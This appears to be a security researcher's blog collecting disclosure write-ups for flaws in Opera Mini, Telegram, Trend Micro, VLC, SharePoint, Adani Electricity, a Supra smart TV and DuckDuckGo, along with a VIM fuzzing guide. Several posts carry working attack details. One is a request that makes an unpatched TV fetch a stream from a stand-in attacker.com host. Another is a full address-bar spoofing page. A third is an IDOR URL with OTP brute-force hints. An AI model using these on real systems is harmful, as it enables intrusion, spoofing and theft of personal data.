Monday, 29 November 2021

Play the Opera Please

Prior approval are taken from Opera security team before disclosing this issue!

Before we get started there are few things which we need to understand such as,

Value added service (VAS): Value added services (VAS) is a popular telecommunications term for non-core services, example: (Caller-tunes, Missed call alerts, Online gaming etc).

GGSN: The gateway GPRS support node (GGSN) is a main core component, GGSN is responsible for the interworking between the GPRS network and external packet, basically this is a routing device.

HTTP header enrichment (HE Process): HTTP header enrichment is the process of adding data fields in the HTTP header. This is commonly used in mobile networks by adding user and device identifiers in HTTP requests such as IMEI, IMSI, MSISDN or other data to identify subscriber or mobile device details[1].

As per my understanding during a VAS subscription process, GGSN picks up the MSISDN from HTTP header to subscribe end users, the idea is to abuse HTTP header enrichment process via Opera mini browser which could lead to fraudulent VAS activation.

Why Opera mini? Opera mini is famous for data compression (data saving mode) although it supports three types of data savings compressions modes. direct, extreme and high.
 
Once the request is initiated and routed by GGSN all communication happens in HTTPS, hence GGSN will not be familiar with the source MSISDN, because there is no header enrichment process, Opera turbo server establish a secure session to perform rest of the process during the subscription. In this case GGSN acts as a routing device and fails to perform HE process (Because HE can only be performed on HTTP protocol but Opera mini creates an HTTPS based session).

Post this if we  navigated to https://www.inputzero.io snif the packets via wireshark the source IP would be our public IP and destination hits to opera turbo servers such as `global-4-lvs-hopper.opera-mini.net` rather than www.inputzero.io.


Having said that, after countless assessment on the subscription process via opera mini, I found one `ping`  request which is generated via opera mini, when its is open for the first time after clearing the cache and temp data of the browser. It was observed, that ping request is responsible for taking MSISDN and creating the session for entire flow.

Injecting MSISDN headers in this request with the victims MSISDN, the session was established by victims number with opera turbo server and now you can impersonate victim and subscribe for any VAS service to deduct his/her digital money. With a successful subscription using the above steps and server log it was concluded that opera turbo servers don’t validate/filter certain injected HTTP headers which leads to activation of VAS services.

Patch: Opera turbo stops forwarding such injected HTTP headers and CVE-2018-19825 was assigned to this which states “Lack of filtering of certain HTTP headers could lead to fraudulent VAS activation."
Share:

Thursday, 11 February 2021

The "P" in Telegram stands for Privacy

Summary: While understanding the implementation of various security and privacy measures in telegram, I identified that telegram fails again in terms of handling the users data. My initial study started with understanding how self-destructing messages work in the secret chats option, telegram says that "The clock starts ticking the moment the message is displayed on the recipient's screen (gets two check marks). As soon as the time runs out, the message disappears from both devices.
 
Telegram which has 500 million active users suffers from a logical bug exists in telegram for macOS (7.3 (211334) Stable) which stores the local copy of received message (audio/video) on a custom path even after those messages are deleted/disappeared from the secret chat.

Technical analysis: Open telegram for macOS, send a recorded audio/video message in normal chat, the application leaks the sandbox path where the recorded message is stored in ".mp4" file.

In my case the path was (/var/folders/x7/khjtxvbn0lzgjyy9xzc18z100000gn/T/). While performing the same task under secret chat option the MediaResourceData(path://) URI was not leaked but the recorded audio/video message still gets stored on the above path.


 
In the video proof-of-concept the user receives a self-destructed message in the secret chat option, which gets stored even after the message is self-destructed.
 
Bonus: The above mentioned version of telegram for macOS stores local passcode in plain text, below is the video proof-of-concept.

 
Both the vulnerabilities was patched in version 7.4 (212543) Stable and 3000 EURO bounty was awarded. In past I've identified multiple vulnerabilities under Telegram you can read them here. Later today Fri 12 Feb 12:15 PM, CVE-2021-27204 & CVE-2021-27205 was assigned. What next?
Share:

Tuesday, 13 October 2020

Bypassing Trend Micro Web Threat Protection via Punycode

Summary: It was identified that Trend Micro web threat protection can be bypassed using puny-code and was tested under macOS 10.15.4 (19E287).

Technical Analysis: Trend Micro antivirus for macOS has an additional feature called web threat protection which has three main components. [1]

Enable Web Threat Protection: When enabled, web threat protection starts checking the reputation scores of user requested web sites. Depending on the results, Trend Micro security (for Macintosh) will either deny or allow access to the requested web site. Enabling or disabling web threat protection from this screen enables or disables web threat protection on the protection status screen.

Protection Strength: Select High, Medium, or Low.

Approved Websites: Contains a list of user or administrator approved web sites. Security (for Macintosh) will not block web sites that are on the approved websites list.

We will be focusing on "approved websites" component which allows users or administrators to add URLs which needs to be blocked, having said that it was observed that this functionality can be abused by puny-code and leads to WTP bypass. 

http*://*.gооgle.com/* --> (#1 Fake google.com)
http*://*.google.com/* --> (#2 Real google.com)
The above #1 utilizes puny-code with the combination of english and russian characters when such URLs are added under web threat protection, Trend Micro antivirus cannot render puny-code. Hence user will still be able to browse those blocked URLs, below is the video proof of concept demonstratingthis attack.



Remediation: Trend Micro security team fixed this vulnerablity in Antivirus for Mac (2021) by URL filtering for such domains or a puny-code domain name conversion. A offical advisory was published and CVE-2020-25779 was assigned to this.
Share:

Thursday, 26 March 2020

Stealing videos from vlc

Summary:
VLC for iOS was vulnerable to an unauthenticated insecure direct object reference (IDOR) which could allow a local attacker to steal media from the storage by just navigating to the source URL/IP.

This was possible by abusing a functionality in the iOS application for VLC, which allows a user to share files with others over WiFi. This can be simply done by enabling "Network > Sharing via WiFi" and the web-server for this functionality works on port 80(http) protocol.

Technical analysis:
Let's assume a scenario where Bob & Alice are sharing a video over the WiFi using vlc-iOS, Eve could perform this attack by crawling the source IP address of Bob which would list the URL's of the videos shared between Bob & Alice.

Having said that, navigating to those URL's Eve could simply steal the video without Bob's knowledge which successfully leads to unauthenticated IDOR. 

In the below image, Bob's IP is 192.168.1.135 and the hierarchy of stored videos in Bob's phone would look like,


Such things can be crawled via burpsuite or you can use python scrapy to extract the URL's from the host and download the videos.

Mitigation from VLC Security team:
They implemented a user-friendly authentication mechanism on VLC iOS web server for WiFi Sharing. Passcode authentication is enabled when VLC's passcode setting is enabled and the user uses the passcode that he set in VLC's settings to log into Wifi Sharing.

This was reported on 2nd Jan 2019 and patched on 10th Feb 2020 whereas fixed version was publicly released in March 2020. Post mitigation VLC published an advisory for this which you can view here. Aside this issue was accepted for bounty on The Internet.

Update Friday, 22 May 2020: Advisory from VLC Security[1]
Share:

Wednesday, 4 March 2020

Fuzzing VIM

AAAAAAAAAA....: It's almost a year now I started with fuzzing and discovered multiple bugs. The most commonly software which I've fuzzed so far includes Xpdf, VIM, PuTTY, WebKit, LibreOffice, Glibc etc. In this post I'll be demonstrating fuzzing VIM (Regex engine) through AFL++ a.k.a american fuzzy lop.

Technical Details: VIM a.k.a Vi IMproved has 12 different editing modes which can be utilized for fuzzing. Vim has lots of potential for finding bugs with AFL. One of the bug which I found while fuzzing VIM was CVE-2019-20079, I would also like to thank Dominique Pelle for this.
[+] Git clone VIM
cmd$ git clone https://github.com/vim/vim.git ; cd vim

[+] Compile and Make VIM with AFL++ 
cmd$ CC=afl-clang-fast CXX=afl-clang-fast++ ./configure --with-features=huge --enable-gui=none
cmd$ make -j4 ; cd src/

[+] Feed Corpus
cmd$ mkdir corpus ; mkdir output 
cmd$ echo "a*b\+\|[0-9]\|\d{1,9}" > corpus/1 ; echo "^\d{1,10}$" > corpus/2

[+] Fuzzing VIM
cmd$ afl-fuzz -m none -i corpus -o output ./vim -u NONE -X -Z -e -s -S @@ -c ':qa!'
The above options used -u NONE and -X is to speed up vim startup. Options -e -s are used to make vim silent and to avoid 'MORE' prompt which could block VIM, the option -Z disables the external commands which makes fuzzing safer. I've also created a small bash script which automates the above tasks for you [vimfuzz.sh].

While fuzzing, fuzz it on ram file system to avoid making too much I/O something like:  sudo mount -t tmpfs -o size=6g tmpfs /home/afl-fuzz-user/afl-fuzz. Aside you can use [pack.sh] a script which contains some standard ubuntu packages so you dont get much dependence issues while compiling any target. Keep fuzzing :)
Share:

Monday, 17 February 2020

Sharepoint RCE

Summary:
Few days ago I saw a post from alienvault which says attackers are still exploiting SharePoint vulnerability to attack middle east government organization. Having said that I found Income Tax Department India and MIT Sloan was also vulnerable to CVE-2019-0604 a remote code execution vulnerability which exists in Microsoft SharePoint. A malicious actor could exploit this vulnerability by simply sending a specially crafted SharePoint application package.

Technical analysis:
I found this vulnerability during my free time while I was browsing to ZoomEye to find such component. The application (incometaxindia.gov.in) was found to be vulnerable as it was using SharePoint as a technology to host its service. To verify this I've sent a crafted payload which enable the remote server (incometaxindia.gov.in) to perform a DNS lookup on my burp collaborator. You can do this manual by sending the crafted XML payload or via desharialize.


Aside, MIT Sloan School of Management was also found to be vulnerable with CVE-2019-0604.


Responsible Disclosure:
CERT-In (IncomeTaxIndia):
This was sent to CERT-In on Feb 12, 2020, got initial response by them on Feb 13, 2020. Post that the vulnerability was patch silently.
For MIT:
This was sent to MIT security team on Feb 13, 2020, got initial response by them on Feb 14, 2020. Post that the vulnerability was patch silently on Feb 15, 2020.
Share:

Friday, 13 December 2019

IDOR in Power Service

Summary
One of the India's leading power supply company named, Adani Power Limited  is the power business subsidiary of Indian conglomerate Adani Group. A subdomain was vulnerable to IDOR (Insecure Direct Object Reference) which could allow attackers to view bills of any users across India. The bill include details such as Name, Address, Bill Amount, Unit rate, Pervious bill details etc.

I found this vulnerability while using one of their service.

Vulnerable URL: https://iss.adanielectricity.com/VAS/ProcessDownloadPDF.jsp?TXTCANO=xxxxxxxxx

The parameter `TXTCANO` in the above URL contains 9 random digits which can be predicted, having said that, changing the value of that parameter can allow attackers to view bills of any other users. (Proof Of Concept)!

Chaining bugs - (Viewing Bills to Account Takeover)

If the users are not registered under Adani MyAccount. The bill obtained using the above method contains two important details
i.e. Account number and Meter Number using which an attacker could register users account to perform any fraudulent activity.

It was also observed that when you navigate to the registration page and provide the valid "Account Number" and "Meter Number" the MSISDN associate to that account is also disclosed. (Proof Of Concept)!

PS: The registration process sends an OTP to the mapped MSISDN but it was also identified that there is no rate limiting hence performing a brute-force attack would help attackers to find actual OTP or attackers could simply edit MSISDN and insert their own to get OTP.

Hence attacker now have personally identifiable information (PII) of end user i.e. Name, Address, Phone Number and other details in bill. Such information can aid attackers in conducting targeted attacks such as vishing, information gathering via SMS, attempting to steal payment information by impersonating the actual service provider via SMS or telephonic calls.

As per their about page there are 2.9 million users of Adani Electricity.

Timelines: The vulnerability was responsibly reported to Adani Electricity via group[.]csoc[at]adani[.]com on 9th Nov 2019 and was patched without any acknowledgement on 11th December 2019.

Share:

Thursday, 31 October 2019

Hacktivity Badge

So, this year I presented my workshop on fuzzing in Hacktivity which is a two day conference in Budapest, Hungary & I had an amazing experience over there, I would personally endorse infosec geeks to be part of that conference.

Nevertheless, I came across the electronic badge which was provided to every attendee in that conference and here is the introductory part of how to get started with the badge.

The badge runs with the MicroPython on ESP32 (low-power microcontroller) so you can develop apps via MicroPython and once the application is ready, you can upload it to the Hatchery as an egg, and the badge will be able to download and run it.



Connect your badge via USB and run `lsusb` or something alternative of `lsusb` in this case I have used `usb-devices` which prints usb device details.


Further I used `dmseg` to list more details of the connected USB devices.



So this gives a name of the badge which would be helpfully to connect and interact further with the badge using screen.
$ screen /dev/ttyACM0 
Once you are connected a welcome message is shown,


After `Enter` is touch the badge would give you main menu and setting options the badge screen is small so moving forward we would be setting up the WiFi manually via cmdline.


Navigate to Settings --> WiFi and scan for networks, select your SSID and punch in the password.


Now, every time you start your badge or perform any activity which requires WiFi it will auto select the SSID which you configured above and that's how you download/install apps or upgrade the badge firmware.

With the help of MicroPython wiki page I understood different functions for MicroPython and wrote a simple program that displays your name on badge.

__init__.py
Register to Hatchery, then login and upload the above code to Hatchery under a category. In this case I uploaded this code under graphic category with the name  `input`. The below video PoC demonstrates that under Installer section you would have different category, select any one category which fetches the egg's from Hatchery select any one of the egg and the badge will install it.



Once install you can view the output under the badge screen, in this case the name was displayed you can view the badge here.
I've also managed to download the badge firmware which can be found here.

Reference: https://hacktivity.com/index.php/badge/

Share:

Monday, 9 September 2019

Telegram addresses another privacy issue

Summary: This is not a security vulnerability its a privacy issue. As I understand Telegram a messaging app focuses on privacy which has over 10,00,00,000+  downloads in Playstore. In this case, we are abusing a well-known feature of deleting messages, which allows users to delete messages sent by mistake or genuinely to any recipient. It was observed that once the message (image) is sent to the recipient, it still remains in the internal storage of the user which is located at  `/Telegram/Telegram Images/`path.

Technical analysis: I found this bug when I was researching about Telegram and MTProto protocol. To demonstrate this bug let's assume two people here, Bob and Alice.

Assume a scenario where Bob sends a message which is a confidential image and was mistakenly sent to Alice, Bob proceeds to utilize a feature of Telegram known as "Also delete for Alice" which would essentially delete the message for Alice. Apparently, this feature does not work as intended, as Alice would still be able to see the image stored under `/Telegram/Telegram Images/` folder, concluding that the feature only deletes the image from the chat window.

The highlighted issue is valid when we talk about Telegram "supergroups" as well, assume a case wherein you're a part of a group with 2,000,00 members and you accidentally share a media file not meant to be shared in that particular group and proceed to delete, by checking "delete for all members" present in the group. You're relying on a functionality that is broken since your file would still be present in storage for all users.
Aside from this, I found that since Telegram takes `read/write/modify` permission of the USB storage which technically means the confidential photo should have been deleted from Alice's device or storage.

Comparison: A compete, app for Telegram which is WhatsApp also has the same feature to "Delete for everyone". If you perform the following steps mentioned above in WhatsApp it deletes the confidential photo from Alice's `/Whatsapp/Whatsapp Media/Whatsapp Images/` folder and maintains the privacy however Telegram fails. WhatsApp takes the same permission when it comes to storage which is `read/write/modify`.

This issue could have a bigger impact and I am not sure how far this was in place; the word privacy of Telegram fails here again, and users trust against the Telegram is at risk.

Video PoC:



Affected version: I have tried this with the latest stable version (5.10.0 (1684)) of Telegram for Android. I haven't tried this with Telegram for iOS and Telegram for Windows but assuming this issue would exist on other these platforms.

Responsible disclosure: I submitted this to Telegram sec-team via security[at]telegram[dot]org and a fix was pushed in the latest version of Telegram 5.11. Also €2,500 was awarded by Telegram.

Other Workaround: The alternative solution would be to utilize the feature of "New Secret Chat" in Telegram where no such traces are left.

References: Picture used above credit and source[1]. Download the PDF version of this article[2]. Later CVE-2019-16248 was assigned to this issue.
Share:

Monday, 3 June 2019

Hacking Smart TV

Summary:
Supra Smart Cloud TV allows remote file inclusion in the openLiveURL function, which allows a local attacker to broadcast fake video without any authentication via a /remote/media_control?action=setUri&uri=URI



Technical Observation: 
We are abusing `openLiveURL()` which allows a local attacker to broadcast video on supra smart cloud TV. I found this vulnerability initially by source code review and then by crawling the application and reading every request helped me to trigger this vulnerability.

Vulnerable code:
function openLiveTV(url)
{
$.get("/remote/media_control", {m_action:'setUri',m_uri:url,m_type:'video/*'},
function (data, textStatus){
if("success"==textStatus){
alert(textStatus);
}else
{
alert(textStatus);
}
});
}

Vulnerable request:
GET /remote/media_control?action=setUri&uri=http://attacker.com/fake_broadcast_message.m3u8 HTTP/1.1
Host: 192.168.1.155
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
To trigger the vulnerability you can send a crafted request to the URL,

http://192.168.1.155/remote/media_control?action=setUri&uri=http://attacker.com/fake_broadcast_message.m3u8

Although the above mention URL takes (.m3u8) format based video. We can use `curl -v -X GET` to send such request, typically this is an unauth remote file inclusion. An attacker could broadcast any video without any authentication, the worst case attacker could leverage this vulnerability to broadcast a fake emergency message (Scary right?)

Although, this is still unpatched because I didn't find any-way to contact the vendor. The above video PoC shows a successful demonstration of this attack where Mr.Steve Jobs speech is suddenly replaced with attacker fake "Emergency Alert Message" this may make end user panic.

Updating! Friday, June 28, 2019

I've created an MSF module for this vulnerability which broadcast video of Epic sax guy to the remote system.
Share:

Tuesday, 28 May 2019

DuckDuckGo Address Bar Spoofing

Summary: The DuckDuckGo Privacy Browser application 5.26.0 for Android allows address bar spoofing via a setInterval call, as demonstrated by reloading every 50 ms.

Technical Observation: A browser that’s scoring in the 50,00,000+ tier of Android download. It was observed that the DuckDuckGo privacy browser ominibar can be spoofed by a crafted javascript page spoofing `setInterval` function and reloading the URL in every 10 to 50 ms.

Proof of concept: (Gist)

<html><body> <title>DuckDuckGo — Privacy, simplified.</title> <head><style> p.b { font-family: Arial, Helvetica, sans-serif; } </style></head><p class="b"><body bgcolor="#5DBCD2"> <h1 style="text-align:center;">We defintiely store your <br> personal information. Ever.</h1> <p style="text-align:center;">Our privacy policy is simple: we collect and share any of your personal 
information to 3rd parties.</p> </p><img src="https://duckduckgo.com/assets/onboarding/bathroomguy/4-alpinist-v2.svg"> <script> function fakefuntion() { location = "https://duckduckgo.com/" } setInterval("fakefuntion()", 50); </script></body></html>

The actual magic happens at `fakefunction()` above-crafted javascript file loads the real www.duckduckgo.com in a loop of every 50 ms whereas the inner HTML can be modified accordingly.

The above PoC shows the demonstration of the successful attack.

Timeline:
This issue was submitted to DuckDuckGo team via HackerOne on Oct 31st, 2018, DuckDuckGo rewarded with a swag on Nov 13th, 2018 but the issue was closed without a fix which says "team doesn't view it as a serious issue" and report was marked as informative. Further CVE-2019-12329 was assigned to this issue.


Share: